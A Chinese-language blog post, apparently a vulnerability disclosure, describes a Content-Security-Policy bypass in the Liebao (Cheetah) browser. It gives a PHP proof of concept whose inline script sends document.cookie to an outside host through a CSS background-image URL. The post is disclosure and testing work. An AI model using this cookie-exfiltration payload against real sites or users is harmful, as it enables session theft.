猎豹安全浏览器CSP安全策略绕过

最近浏览器漏洞很火啊。。。于是我也默默地围观了一下。
我平时使用猎豹比较多,最近又在研究CSP,所以偶然发现了这个BUG,在其他国产浏览器中都不存在,甚至在某些webkit版本比猎豹低的浏览器内核都不存在这个问题,不知道猎豹是怎么处理的。
自己研究的。。。应该不是低版本webkit内核的问题,测试其他浏览器都正常。

CSP安全策略我想很多人并不陌生,我就不多介绍了。简单来说就是预防XSS的策略,比如禁止eval函数、默认禁止内联script和style、页面只能加载指定来源的内容等,让很多情况下就算你有xss漏洞,但没法将获得的信息(如cookie等)发给攻击者,使之利用效果降低很多。
但如果一旦有一种方法绕过csp策略,整个防御体系就会崩塌,这个漏洞既是如此。
首先,猎豹最新版本:

001.jpg

User-agent显示其基于chrome/34

002.jpg

如下POC:

1
2
3
4
5
6
7
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'; ");
?>
<p>hello world</p>
<script>
document.body.style.backgroundImage="url(http://www.leavesongs.com/content/templates/deep/images/logo.png?cookie="+escape(document.cookie)+")";
</script>

首先Content-Security-Policy设置为

code 区域 Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline';

这是比较常见的csp设置。默认的不允许加载任意外部来源的资源。
允许内联javascript,允许包括<script>和所有on事件等执行javascript,基本所有网站都是允许的,因为大部分网站都是存在一些内联javascript的。
猎豹访问 http://mhz.pw/csp/csp.php ,可发现从mhz.pw域下加载了www.leavesongs.com域下的图片(http://www.leavesongs.com/content/templates/deep/images/logo.png)作为网站背景,同时也把打到的cookie传了出去:

003.jpg

006.jpg

正常chrome是不存在这个问题的:

004.jpg

查看控制台发现被csp拦截:

005.jpg